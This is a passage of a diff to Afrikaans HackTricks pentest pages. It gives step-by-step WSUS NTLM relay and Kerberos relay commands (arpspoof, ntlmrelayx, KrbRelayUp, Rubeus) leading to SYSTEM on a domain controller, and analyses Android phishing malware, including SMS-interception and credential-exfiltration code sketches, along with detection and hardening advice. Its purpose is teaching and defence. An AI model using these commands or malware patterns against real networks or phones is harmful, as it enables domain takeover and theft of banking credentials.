+- Parse SYSVOL GPOs vir WSUS-sleutels met MANSPIDER + regpol (wsuspider.sh wrapper som WUServer/WUStatusServer/UseWUServer op).
+- Vra endpunte op skaal vanaf hosts (NetExec) of plaaslik:
+nxc smb <ip> -u <user> -p <pass> -M reg-query -o PATH="HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate" KEY="WUServer"
+reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate
+
+Einde-tot-einde HTTP-relay-stappe
+1) Posisioneer vir MITM (selfde L2) sodat 'n kliënt die WSUS-bediener na jou oplos (ARP/DNS poisoning, Bettercap, mitm6, ens.). Voorbeeld met arpspoof:
+arpspoof -i <iface> -t <wsus_client_ip> <wsus_server_ip>
+
+2) Herlei poort 8530 na jou relay-listener (opsioneel, gerieflik):
+iptables -t nat -A PREROUTING -p tcp --dport 8530 -j REDIRECT --to-ports 8530
+iptables -t nat -L PREROUTING --line-numbers
+
+3) Begin ntlmrelayx met die HTTP-listener (vereis Impacket-ondersteuning vir HTTP-listener; sien PRs hieronder):
+ntlmrelayx.py -t ldap://<DC> -smb2support -socks --keep-relaying --http-port 8530
+
+Ander algemene teikens:
+- Relay na SMB (as signing af is) vir exec/dump: -t smb://<host>
+- Relay na LDAPS vir directory-wyses (bv., RBCD): -t ldaps://<DC>
+- Relay na AD CS web-enrollment (ESC8) om 'n cert uit te reik en dan te verifieer via Schannel/PKINIT:
+ntlmrelayx.py --http-port 8530 -t http://<CA>/certsrv/certfnsh.asp --adcs --no-http-server
+Vir dieper AD CS-misbruikpaaie en tooling, sien die AD CS bladsy:
+
+{{#ref}}
+../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
+{{#endref}}
+
+4) Trigger 'n kliënt-check-in of wag vir die skedule. Vanaf 'n kliënt:
+wuauclt.exe /detectnow
+of gebruik die Windows Update-koppelvlak (Check for updates).
+
+5) Gebruik die geverifieerde SOCKS-sessies (indien -socks) of direkte relay-resultate vir post-exploitation (LDAP-wyses, SMB-aksies, of AD CS-sertifikaatutreiking vir later verifikasie).
+
+HTTPS-beperking (8531)
+- Passiewe onderskep van WSUS oor HTTPS is ondoeltreffend tensy kliënte jou sertifikaat vertrou. Sonder 'n vertroude cert of ander TLS-breek kan die NTLM-handshake nie uit WSUS HTTPS-verkeer geoogst/herlei word nie.
+
+Aantekeninge
+- WSUS is aangekondig as verouderd maar bly wyd versprei; HTTP (8530) is steeds algemeen in baie omgewings.
+- Nuttige helpers: wsusniff.py (kyk na HTTP WSUS check-ins), wsuspider.sh (enumeer WUServer/WUStatusServer vanaf GPOs), NetExec reg-query op skaal.
+- Impacket het HTTP-listener ondersteuning vir ntlmrelayx herstel in PR #2034 (oorspronklik bygevoeg in PR #913).
 
 ### Force NTLM Logins
 
-In Windows **kan jy dalk sommige bevoorregte rekeninge dwing om te autentiseer op arbitrêre masjiene**. Lees die volgende bladsy om te leer hoe:
+In Windows kan jy moontlik sommige bevoorregte rekeninge dwing om te verifieer by arbitrêre masjiene. Lees die volgende bladsy om te leer hoe:
-
 
 {{#ref}}
 ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
 {{#endref}}
 
-## Kerberos Relay aanval
+## Kerberos Relay attack
 
-'n **Kerberos relay aanval** steel 'n **AP-REQ kaartjie** van een diens en hergebruik dit teen 'n tweede diens wat die **dieselfde rekenaar-rekening sleutel** deel (omdat beide SPNs op dieselfde `$` masjienrekening sit). Dit werk selfs al verskil die SPNs’ **diensklasse** (bv. `CIFS/` → `LDAP/`) omdat die *sleutel* wat die kaartjie ontsleutel, die masjien se NT-hash is, nie die SPN-string self nie en die SPN-string is nie deel van die handtekening nie.
+A **Kerberos relay attack** steel 'n **AP-REQ ticket** van een diens en hergebruik dit teen 'n tweede diens wat dieselfde **computer-account key** deel (omdat albei SPNs op dieselfde `$` masjienrekening sit). Dit werk selfs al verskil die SPNs se **service classes** (bv. `CIFS/` → `LDAP/`) omdat die *sleutel* wat die ticket ontsleutel die masjien se NT-hash is, nie die SPN-string self nie en die SPN-string is nie deel van die handtekening nie.
 
-In teenstelling met NTLM relay, is die sprong beperk tot die *dieselfde gasheer* maar, as jy 'n protokol teiken wat jou toelaat om na LDAP te skryf, kan jy in **Hulpbron-gebaseerde Beperkte Delegasie (RBCD)** of **AD CS inskrywing** ketting en **NT AUTHORITY\SYSTEM** in 'n enkele skoot pop.
+Anders as NTLM relay, is die hop beperk tot dieselfde gasheer, maar as jy 'n protokol teiken wat jou toelaat om na LDAP te skryf, kan jy ketting na **Resource-Based Constrained Delegation (RBCD)** of **AD CS enrollment** en **NT AUTHORITY\SYSTEM** met een skoot kry.
 
-Vir gedetailleerde inligting oor hierdie aanval, kyk:
+Vir gedetailleerde inligting oor hierdie aanval sien:
 
 - [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
 - [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
 
 - 1. **Kerberos basiese beginsels**
 
-| Token | Doel | Relay relevantie |
+| Token | Doel | Relevansie vir relay |
-|-------|---------|-----------------|
+|-------|------|----------------------|
-| **TGT / AS-REQ ↔ REP** | Bewys die gebruiker aan die KDC | onaangeraak |
+| **TGT / AS-REQ ↔ REP** | Bewys die gebruiker aan die KDC | onveranderd |
-| **Diens kaartjie / TGS-REQ ↔ REP** | Gebonden aan een **SPN**; versleuteld met die SPN-eienaar se sleutel | uitruilbaar as SPNs rekening deel |
+| **Service ticket / TGS-REQ ↔ REP** | Gebonde aan een **SPN**; versleuteld met die SPN-eienaar se sleutel | inruilbaar as SPNs dieselfde rekening deel |
-| **AP-REQ** | Kliënt stuur `TGS` na die diens | **wat ons steel & herhaal** |
+| **AP-REQ** | Kliënt stuur `TGS` na die diens | **wat ons steel & hervertoon** |
 
-* Kaartjies is versleuteld met die **wagwoord-afgeleide sleutel van die rekening wat die SPN besit**.
+* Tickets is versleuteld met die **wagwoord-afgeleide sleutel van die rekening wat die SPN besit**.
-* Die **Authenticator** binne die AP-REQ het 'n 5-minuut tydstempel; herhaling binne daardie venster is geldig totdat die dienskas 'n duplikaat sien.
+* Die **Authenticator** binne die AP-REQ het 'n 5-minute tydstempel; hervertoning binne daardie venster is geldig totdat die dienskas 'n duplikaat sien.
-* Windows kontroleer selde of die SPN-string in die kaartjie ooreenstem met die diens wat jy tref, so 'n kaartjie vir `CIFS/HOST` ontcijfer normaalweg goed op `LDAP/HOST`.
+* Windows kyk selde of die SPN-string in die ticket ooreenstem met die diens wat jy tref, so 'n ticket vir `CIFS/HOST` ontsleutel gewoonlik net so op `LDAP/HOST`.
 
 - 2. **Wat moet waar wees om Kerberos te relay**
 
-1. **Gedeelde sleutel:** bron en teiken SPNs behoort tot dieselfde rekenaarrekening (standaard op Windows bedieners).
+1. **Gedeelde sleutel:** bron- en teiken-SPNs behoort aan dieselfde rekenaarrekening (standaard op Windows-bedieners).
-2. **Geen kanaalbeskerming:** SMB/LDAP ondertekening af en EPA af vir HTTP/LDAPS.
+2. **Geen kanaalbeskerming:** SMB/LDAP signing af en EPA af vir HTTP/LDAPS.
-3. **Jy kan autentisering onderskep of dwing:** LLMNR/NBNS vergiftiging, DNS spoof, **PetitPotam / DFSCoerce RPC**, vals AuthIP, rogue DCOM, ens.
+3. **Jy kan verifikasie onderskep of afdwing:** LLMNR/NBNS poison, DNS spoof, **PetitPotam / DFSCoerce RPC**, fake AuthIP, rogue DCOM, ens..
-4. **Kaartjie bron nie reeds gebruik nie:** jy wen die wedloop voordat die werklike pakket aankom of blokkeer dit heeltemal; anders skiet die bediener se herhalingskas Gebeurtenis 4649 af.
+4. **Ticket-bron reeds nie gebruik nie:** jy wen die wedloop voor die werklike pakket tref of blok dit heeltemal; andersins vuur die bediener se replay-cache Event 4649.
-5. Jy moet op een of ander manier in staat wees om 'n **MitM in die kommunikasie** uit te voer, dalk deel van die DNSAmins-groep wees om die DNS van die domein te verander of in staat wees om die HOST-lêer van die slagoffer te verander.
+5. Jy moet op een of ander manier 'n **MitM in die kommunikasie** kan uitvoer—miskien deur deel te wees van die DNSAdmins-groep om die DNS van die domein te verander of deur die HOST-lêer van die slagoffer te kan verander.
 
-### Kerberos Relay Stappe
+### Kerberos Relay-stappe
 
-- 3.1 **Recon die gasheer**
+- 3.1 **Verken die gasheer**
 ```powershell
 # find servers where HTTP, LDAP or CIFS share the same machine account
 Get-ADComputer -Filter * -Properties servicePrincipalName |
 Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
 Select Name,servicePrincipalName
 ```
-- 3.2 **Begin die relay luisteraar** 
+- 3.2 **Begin die relay listener**
 
 [KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
 ```powershell
 # one-click local SYSTEM via RBCD
 .\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
 ```
-`KrbRelayUp` verpak **KrbRelay → LDAP → RBCD → Rubeus → SCM omseiling** in een binêre.
+`KrbRelayUp` verpak **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** in 'n enkele binêre.
 
-- 3.3 **Dwing Kerberos outentisering**
+- 3.3 **Dwing Kerberos auth**
 ```powershell
 # coerce DC to auth over SMB with DFSCoerce
 .\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
 ```
-DFSCoerce laat die DC toe om 'n Kerberos `CIFS/DC01` kaartjie na ons te stuur.
+DFSCoerce laat die DC 'n Kerberos `CIFS/DC01` ticket aan ons stuur.
 
-- 3.4 **Herleef die AP-REQ**
+- 3.4 **Relay the AP-REQ**
 
-KrbRelay onttrek die GSS blob uit SMB, herverpak dit in 'n LDAP bind, en stuur dit na `ldap://DC01`—autentisering slaag omdat die **dieselfde sleutel** dit ontsleutel.
+KrbRelay onttrek die GSS blob uit SMB, herverpak dit in 'n LDAP bind, en stuur dit na `ldap://DC01` — authentication slaag omdat die **same key** dit kan decrypt.
 
-- 3.5 **Misbruik LDAP ➜ RBCD ➜ SISTEEM**
+- 3.5 **Abuse LDAP ➜ RBCD ➜ SYSTEM**
 ```powershell
 # (auto inside KrbRelayUp) manual for clarity
 New-MachineAccount -Name "FAKE01" -Password "P@ss123"
@@ -184,51 +244,59 @@ KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
 Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
 SCMUACBypass.exe
 ```
-You now own **NT AUTHORITY\SYSTEM**.
+Jy besit nou **NT AUTHORITY\SYSTEM**.
 
 
-### **Meer paaie wat die moeite werd is om te ken**
+### **Meer paaie wat jy moet ken**
 
-| Vektor | Truuk | Hoekom dit belangrik is |
+| Vector | Truuk | Waarom dit saak maak |
-|--------|-------|----------------|
+|--------|-------|----------------------|
-| **AuthIP / IPSec** | Vals bediener stuur 'n **GSS-ID payload** met enige SPN; kliënt bou 'n AP-REQ reg na jou | Werk selfs oor subnets; masjien krediete per standaard |
+| **AuthIP / IPSec** | Vals bediener stuur 'n **GSS-ID payload** met enige SPN; kliënt bou 'n AP-REQ direk na jou | Werk selfs oor subnette; masjiencreds standaard |
-| **DCOM / MSRPC** | Kwaadwillige OXID-oplosser dwing kliënt om te autentiseer na arbitrêre SPN en poort | Pure *lokale* priv-eskalering; omseil firewall |
+| **DCOM / MSRPC** | Kwaadaardige OXID-resolver dwing die kliënt om na 'n ewekansige SPN en poort te auth | Suiwer *lokale* priv-esc; omseil firewall |
-| **AD CS Web Enroll** | Relay masjien kaart na `HTTP/CA` en kry 'n sertifikaat, dan **PKINIT** om TGT's te mint | Omseil LDAP ondertekening verdediging |
+| **AD CS Web Enroll** | Relay masjienkaartjie na `HTTP/CA` en kry 'n cert, dan **PKINIT** om TGTs te mint | Omseil LDAP-signeringsverdedigings |
-| **Shadow Credentials** | Skryf `msDS-KeyCredentialLink`, dan PKINIT met vervalste sleutel paar | Geen behoefte om 'n rekenaarrekening by te voeg nie |
+| **Shadow Credentials** | Skryf `msDS-KeyCredentialLink`, dan PKINIT met vervalste sleutelpaar | Geen behoefte om 'n rekenaarrekening by te voeg nie |
 
-### **Probleemoplossing**
+### **Troubleshooting**
 
-| Fout | Betekenis | Regstelling |
+| Fout | Betekenis | Oplossing |
 |-------|---------|-----|
-| `KRB_AP_ERR_MODIFIED` | Kaart sleutel ≠ teiken sleutel | Verkeerde gasheer/SPN |
+| `KRB_AP_ERR_MODIFIED` | Ticket-sleutel ≠ teiken-sleutel | Verkeerde host/SPN |
-| `KRB_AP_ERR_SKEW` | Klok > 5 min offset | Sink tyd of gebruik `w32tm` |
+| `KRB_AP_ERR_SKEW` | Klok > 5 min verskil | Sinkroniseer tyd of gebruik `w32tm` |
-| LDAP bind misluk | Ondertekening afgedwing | Gebruik AD CS pad of deaktiveer ondertekening |
+| LDAP bind fails | Ondertekening afgedwing | Gebruik AD CS-pad of skakel ondertekening af |
-| Gebeurtenis 4649 spam | Diens het duplikaat Authenticator gesien | blokkeer of wedloop oorspronklike pakket |
+| Event 4649 spam | Diens het 'n dubbele Authenticator gesien | Blokkeer of wedren met oorspronklike pakket |
 
 
-### **Detectie**
+### **Detection**
 
-* Toename in **Gebeurtenis 4769** vir `CIFS/`, `HTTP/`, `LDAP/` van dieselfde bron binne sekondes.
+* Toename in **Event 4769** vir `CIFS/`, `HTTP/`, `LDAP/` van dieselfde bron binne sekondes.
-* **Gebeurtenis 4649** op die diens dui aan dat herhaling opgespoor is.
+* **Event 4649** op die diens dui op 'n herhaling wat opgespoor is.
-* Kerberos aanmelding van **127.0.0.1** (relay na plaaslike SCM) is hoogs verdag—kaart via Sigma-reël in KrbRelayUp docs.
+* Kerberos-aanmelding vanaf **127.0.0.1** (relay to local SCM) is hoogs verdag—map via Sigma rule in KrbRelayUp docs.
-* Kyk na veranderinge aan `msDS-AllowedToActOnBehalfOfOtherIdentity` of `msDS-KeyCredentialLink` eienskappe.
+* Let op veranderings aan `msDS-AllowedToActOnBehalfOfOtherIdentity` of `msDS-KeyCredentialLink` attribuutte.
 
-## **Versterking**
+## **Verharding**
 
-1. **Handhaaf LDAP & SMB ondertekening + EPA** op elke bediener.
+1. **Enforce LDAP & SMB signing + EPA** op elke bediener.
-2. **Verdeel SPNs** sodat HTTP nie op dieselfde rekening as CIFS/LDAP is nie.
+2. **Split SPNs** sodat HTTP nie op dieselfde account as CIFS/LDAP is nie.
-3. Patches vir dwang vektore (PetitPotam KB5005413, DFS, AuthIP).
+3. Patcheer coercion-vektore (PetitPotam KB5005413, DFS, AuthIP).
-4. Stel **`ms-DS-MachineAccountQuota = 0`** in om rogue rekenaar aansluitings te stop.
+4. Stel **`ms-DS-MachineAccountQuota = 0`** om onbevoegde rekenaarjoins te stop.
-5. Laat weet oor **Gebeurtenis 4649** en onverwagte loopback Kerberos aanmeldings.
+5. Waarsku op **Event 4649** en onverwagte loopback Kerberos-aanmeldings.
 
 
 
-## Verwysings
+## References
 
 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
 - [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
 - [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
 - [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
+- [WSUS Is SUS: NTLM Relay Attacks in Plain Sight (TrustedSec)](https://trustedsec.com/blog/wsus-is-sus-ntlm-relay-attacks-in-plain-sight)
+- [GoSecure – Abusing WSUS to enable NTLM relaying attacks](https://gosecure.ai/blog/2021/11/22/gosecure-investigates-abusing-windows-server-update-services-wsus-to-enable-ntlm-relaying-attacks)
+- [Impacket PR #2034 – Restore HTTP server in ntlmrelayx](https://github.com/fortra/impacket/pull/2034)
+- [Impacket PR #913 – HTTP relay support](https://github.com/fortra/impacket/pull/913)
+- [WSUScripts – wsusniff.py](https://github.com/Coontzy1/WSUScripts/blob/main/wsusniff.py)
+- [WSUScripts – wsuspider.sh](https://github.com/Coontzy1/WSUScripts/blob/main/wsuspider.sh)
+- [MS-WSUSOD – Windows Server Update Services: Server-to-Client Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wsusod/e00a5e81-c600-40d9-96b5-9cab78364416)
+- [Microsoft – WSUS deprecation announcement](https://techcommunity.microsoft.com/blog/windows-itpro-blog/windows-server-update-services-wsus-deprecation/4250436)
 
 {{#include ../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md

@@ -1,67 +1,67 @@
-# Mobiele Phishing & Kwaadwillige App-verspreiding (Android & iOS)
+# Mobile Phishing & Malicious App Distribution (Android & iOS)
 
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!INFO]
-> Hierdie bladsy dek tegnieke wat deur bedreigingsakteurs gebruik word om **kwaadwillige Android APKs** en **iOS mobile-configuration profiles** deur phishing (SEO, social engineering, fake stores, dating apps, ens.) te versprei.
+> Hierdie bladsy dek tegnieke wat deur bedreigingsakteurs gebruik word om **malicious Android APKs** en **iOS mobile-configuration profiles** deur phishing (SEO, sosiale ingenieurswese, vals winkels, dating apps, ens.) te versprei.
-> Die materiaal is aangepas vanaf die SarangTrap campaign exposed by Zimperium zLabs (2025) en ander openbare navorsing.
+> Die materiaal is aangepas vanaf die SarangTrap veldtog wat deur Zimperium zLabs (2025) ontbloot is en ander publieke navorsing.
 
-## Aanvalsvloei
+## Attack Flow
 
-1. **SEO/Phishing-infrastruktuur**
+1. **SEO/Phishing Infrastructure**
-* Registreer dosyne gelyklike domeine (dating, cloud share, car service…).
+* Registreer dosyne van look-alike domeine (dating, cloud share, car service…).
 – Gebruik sleutelwoorde in die plaaslike taal en emoji's in die `<title>` element om in Google te rangskik.
-– Host *beide* Android (`.apk`) en iOS installasie-instruksies op dieselfde landingsblad.
+– Host *both* Android (`.apk`) en iOS install instructions op dieselfde landing page.
-2. **Eerste fase aflaai**
+2. **First Stage Download**
 * Android: direkte skakel na 'n *unsigned* of “third-party store” APK.
-* iOS: `itms-services://` of plain HTTPS-skakel na 'n kwaadwillige **mobileconfig** profile (sien hieronder).
+* iOS: `itms-services://` of gewone HTTPS-skakel na 'n kwaadwillige **mobileconfig** profile (sien hieronder).
-3. **Na-installasie Sosiale Ingenieurswese**
+3. **Post-install Social Engineering**
-* By eerste uitvoering vra die app vir 'n **invitation / verification code** (illusie van eksklusiewe toegang).
+* By die eerste keer laat die app 'n **invitation / verification code** verskyn (illusie van eksklusiewe toegang).
 * Die kode word **POSTed over HTTP** na die Command-and-Control (C2).
-* C2 antwoord `{"success":true}` ➜ malware gaat voort.
+* C2 antwoord `{"success":true}` ➜ malware gaan voort.
-* Sandbox / AV dinamiese analise wat nooit 'n geldige kode indien nie, sien **geen malicious behaviour** (evasie).
+* Sandbox / AV dinamiese analise wat nooit 'n geldige kode stuur nie sien **geen kwaadwillige gedrag** nie (evasion).
-4. **Misbruik van Runtime-toestemmings (Android)**
+4. **Runtime Permission Abuse** (Android)
-* Gevaarlike toestemmings word slegs versoek **na 'n positiewe C2-antwoord**:
+* Gevaarlike toestemmings word slegs aangevra **na 'n positiewe C2-antwoord**:
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
 <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 <!-- Older builds also asked for SMS permissions -->
 ```
-* Onlangse variante **verwyder `<uses-permission>` vir SMS uit `AndroidManifest.xml`** maar laat die Java/Kotlin-kodepad wat SMS deur reflection lees, staan ⇒ verlaag die statiese telling terwyl dit steeds funksioneel is op toestelle wat die toestemming gee via `AppOps` misbruik of ou teikens.
+* Onlangse variante **verwyder `<uses-permission>` vir SMS uit `AndroidManifest.xml`** maar laat die Java/Kotlin-kodepad wat SMS deur reflection lees staan ⇒ verlaag statiese telling terwyl dit steeds funksioneel is op toestelle wat die toestemming via `AppOps` misbruik of ou teikens verleen.
-5. **Skyn-UI & Agtergrondversameling**
+5. **Facade UI & Background Collection**
-* Die app wys onskadelike weergawes (SMS viewer, gallery picker) wat plaaslik geïmplementeer is.
+* Die app wys onskuldige skerms (SMS viewer, gallery picker) wat lokaal geïmplementeer is.
 * Intussen exfiltreer dit:
-- IMEI / IMSI, phone number
+- IMEI / IMSI, telefoonnommer
 - Volledige `ContactsContract` dump (JSON array)
-- JPEG/PNG van `/sdcard/DCIM` saamgepers met [Luban](https://github.com/Curzibn/Luban) om grootte te verminder
+- JPEG/PNG van `/sdcard/DCIM` gekompresseer met [Luban](https://github.com/Curzibn/Luban) om grootte te verminder
 - Opsionele SMS-inhoud (`content://sms`)
 Payloads word **batch-zipped** en gestuur via `HTTP POST /upload.php`.
-6. **iOS Afleweringstegniek**
+6. **iOS Delivery Technique**
-* 'n Enkele **mobile-configuration profile** kan `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ens. versoek om die toestel in “MDM”-agtige toesig te registreer.
+* 'n Enkel **mobile-configuration profile** kan `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` ens. versoek om die toestel in 'n “MDM”-agtige toesig te registreer.
 * Sosiale-ingenieurswese instruksies:
 1. Open Settings ➜ *Profile downloaded*.
 2. Tap *Install* drie keer (skermskote op die phishing-blad).
-3. Trust the unsigned profile ➜ aanvaller verkry *Contacts* & *Photo* entitlement sonder App Store hersiening.
+3. Trust die unsigned profile ➜ aanvaller kry *Contacts* & *Photo* entitlements sonder App Store review.
-7. **Netwerklaag**
+7. **Network Layer**
-* Onversleutelde HTTP, dikwels op poort 80 met HOST-header soos `api.<phishingdomain>.com`.
+* Plain HTTP, gereeld op poort 80 met HOST header soos `api.<phishingdomain>.com`.
-* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (geen TLS → maklik om te bespeur).
+* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (geen TLS → maklik om op te spoor).
 
-## Verdedigende Toetsing / Red-Team Wenke
+## Defensive Testing / Red-Team Tips
 
-* **Dynamic Analysis Bypass** – Tydens malware-assessering, outomatiseer die invitation code-fase met Frida/Objection om die kwaadwillige tak te bereik.
+* **Dynamic Analysis Bypass** – Tydens malware-assessering, automatiseer die invitation code fase met Frida/Objection om die kwaadwillige tak te bereik.
 * **Manifest vs. Runtime Diff** – Vergelyk `aapt dump permissions` met runtime `PackageManager#getRequestedPermissions()`; ontbrekende gevaarlike perms is 'n rooi vlag.
-* **Network Canary** – Konfigureer `iptables -p tcp --dport 80 -j NFQUEUE` om skielike POST-burstes na kode-invoer op te spoor.
+* **Network Canary** – Stel `iptables -p tcp --dport 80 -j NFQUEUE` op om ongewone POST-burst na kode-invoer te detect.
-* **mobileconfig Inspection** – Gebruik `security cms -D -i profile.mobileconfig` op macOS om `PayloadContent` te lys en oordrewe entitlements raak te sien.
+* **mobileconfig Inspection** – Gebruik `security cms -D -i profile.mobileconfig` op macOS om `PayloadContent` te lys en oormaat entitlements uit te spoor.
 
-## Blue-Team Opsporingsidees
+## Blue-Team Detection Ideas
 
-* **Certificate Transparency / DNS Analytics** om skielike uitbarstings van sleutelwoordryke domeine vas te vang.
+* **Certificate Transparency / DNS Analytics** om skielike uitbarstings van sleutelwoord-ryke domeine raak te sien.
-* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` van Dalvik-kliente buite Google Play.
+* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` van Dalvik kliënte buite Google Play.
-* **Invite-code Telemetry** – POST van 6–8 syfer numeriese kodes kort na APK-installasie kan staging aandui.
+* **Invite-code Telemetry** – POST van 6–8 syfer numeriese kodes kort nadat 'n APK geïnstalleer is kan staging aandui.
-* **MobileConfig Signing** – Blokkeer ongetekende konfigurasieprofiele via MDM-beleid.
+* **MobileConfig Signing** – Blokkeer unsigned configuration profiles via MDM policy.
 
-## Nuttige Frida-snipper: Auto-Bypass Invitation Code
+## Useful Frida Snippet: Auto-Bypass Invitation Code
 ```python
 # frida -U -f com.badapp.android -l bypass.js --no-pause
 # Hook HttpURLConnection write to always return success
@@ -80,7 +80,7 @@ return conn;
 };
 });
 ```
-## Aanwysers (Generies)
+## Aanwysers (Algemeen)
 ```
 /req/checkCode.php        # invite code validation
 /upload.php               # batched ZIP exfiltration
@@ -88,28 +88,28 @@ LubanCompress 1.1.8       # "Luban" string inside classes.dex
 ```
 ---
 
-## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
+## Android WebView Betaal-phishing (UPI) – Dropper + FCM C2-patroon
 
-Hierdie patroon is waargeneem in veldtogte wat staatsvoordeel‑temas misbruik om Indiese UPI‑bewyse en OTPs te steel. Operateurs skakel betroubare platforms aaneen vir aflewering en veerkragtigheid.
+Hierdie patroon is waargeneem in veldtogte wat regeringsvoordeel-temas misbruik om Indiese UPI-inlogbesonderhede en OTP's te steel. Operateurs gebruik 'n ketting van betroubare platforms vir aflewering en veerkragtigheid.
 
-### Delivery chain across trusted platforms
+### Afleweringsketting oor vertroude platforms
-- YouTube‑video lokmiddel → beskrywing bevat 'n shortlink
+- YouTube video lokmiddel → beskrywing bevat 'n kort skakel
-- Shortlink → GitHub Pages phishing site wat die regte portaal naboots
+- Kortskakel → GitHub Pages phishing-werf wat die legit portaal naboots
-- Dieselfde GitHub repo bied 'n APK aan met 'n vals “Google Play”‑kenteken wat direk na die lêer skakel
+- Dieselfde GitHub repo huisves 'n APK met 'n vals “Google Play” kenteken wat direk na die lêer skakel
-- Dinamiese phishing‑bladsye leef op Replit; die afstandbeheerkanaal gebruik Firebase Cloud Messaging (FCM)
+- Dinamiese phishing-bladsye leef op Replit; afgeleë opdragkanaal gebruik Firebase Cloud Messaging (FCM)
 
-### Dropper with embedded payload and offline install
+### Dropper met embedded payload en offline installasie
-- Die eerste APK is 'n installer (dropper) wat die werklike malware by `assets/app.apk` lewer en die gebruiker vra om Wi‑Fi/mobiele data af te skakel om cloud detection te verdoof.
+- Eerste APK is 'n installateur (dropper) wat die werklike malware by `assets/app.apk` lewer en die gebruiker aanmoedig om Wi‑Fi/mobiele data af te skakel om wolkopsporing te versag.
-- Die ingebedde payload installeer onder 'n onskuldige etiket (bv. “Secure Update”). Na installasie is beide die installer en die payload as aparte apps teenwoordig.
+- Die embedded payload installeer onder 'n onskuldige etiket (bv., “Secure Update”). Na installasie is beide die installateur en die payload teenwoordig as aparte apps.
 
-Statiese triage‑wenk (grep vir ingebedde payloads):
+Statiese triage wenk (grep for embedded payloads):
 ```bash
 unzip -l sample.apk | grep -i "assets/app.apk"
 # Or:
 zipgrep -i "classes|.apk" sample.apk | head
 ```
-### Dinamiese endpoint-ontdekking via shortlink
+### Dynamiese eindpunt-ontdekking via shortlink
-- Malware haal 'n platte teks, komma-geskeide lys van lewende endpoints vanaf 'n shortlink; eenvoudige tekenreeks-transformasies produseer die finale phishing-bladsy-pad.
+- Malware haal 'n platte teks, komma-geskeide lys van aktiewe eindpunte van 'n shortlink; eenvoudige string-transformasies lewer die finale phishing-bladsypad.
 
 Voorbeeld (gesanitiseer):
 ```
@@ -128,24 +128,24 @@ String smsPost = parts[1];
 String credsPost = upiPage.replace("gate.htm", "addup.php");
 ```
 ### WebView-based UPI credential harvesting
-- Die “Make payment of ₹1 / UPI‑Lite” stap laai die aanvaller se HTML-vorm vanaf die dinamiese eindpunt binne 'n WebView en vang sensitiewe velde (telefoon, bank, UPI PIN) wat as `POST` na `addup.php` gestuur word.
+- Die “Make payment of ₹1 / UPI‑Lite” stap laai 'n aanvaller se HTML-vorm vanaf die dinamiese endpunt binne 'n WebView en vang sensitiewe velde (telefoon, bank, UPI PIN) wat per `POST` na `addup.php` gestuur word.
 
-Minimale loader:
+Minimale laaier:
 ```java
 WebView wv = findViewById(R.id.web);
 wv.getSettings().setJavaScriptEnabled(true);
 wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
 ```
-### Self-propagation and SMS/OTP interception
+### Self-voortplanting en SMS/OTP onderskepping
-- Agressiewe toestemmings word by die eerste opstart aangevra:
+- Agressiewe toestemmings word by die eerste uitvoering aangevra:
 ```xml
 <uses-permission android:name="android.permission.READ_CONTACTS"/>
 <uses-permission android:name="android.permission.SEND_SMS"/>
 <uses-permission android:name="android.permission.READ_SMS"/>
 <uses-permission android:name="android.permission.CALL_PHONE"/>
 ```
-- Die kontakte word deurgegaan om smishing-SMS massaal vanaf die slagoffer se toestel te stuur.
+- Kontakte word herhaaldelik gebruik om massaal smishing SMS vanaf die slagoffer se toestel te stuur.
-- Inkomende SMS word deur 'n broadcast receiver onderskep en saam met metadata (sender, body, SIM slot, per-device random ID) na `/addsm.php` opgelaai.
+- Inkomende SMS word deur 'n broadcast receiver onderskep en saam met metadata (afsender, inhoud, SIM-slot, per-toestel ewekansige ID) na `/addsm.php` opgelaai.
 
 Ontvanger-skets:
 ```java
@@ -161,10 +161,10 @@ postForm(urlAddSms, new FormBody.Builder()
 }
 }
 ```
-### Firebase Cloud Messaging (FCM) as resilient C2
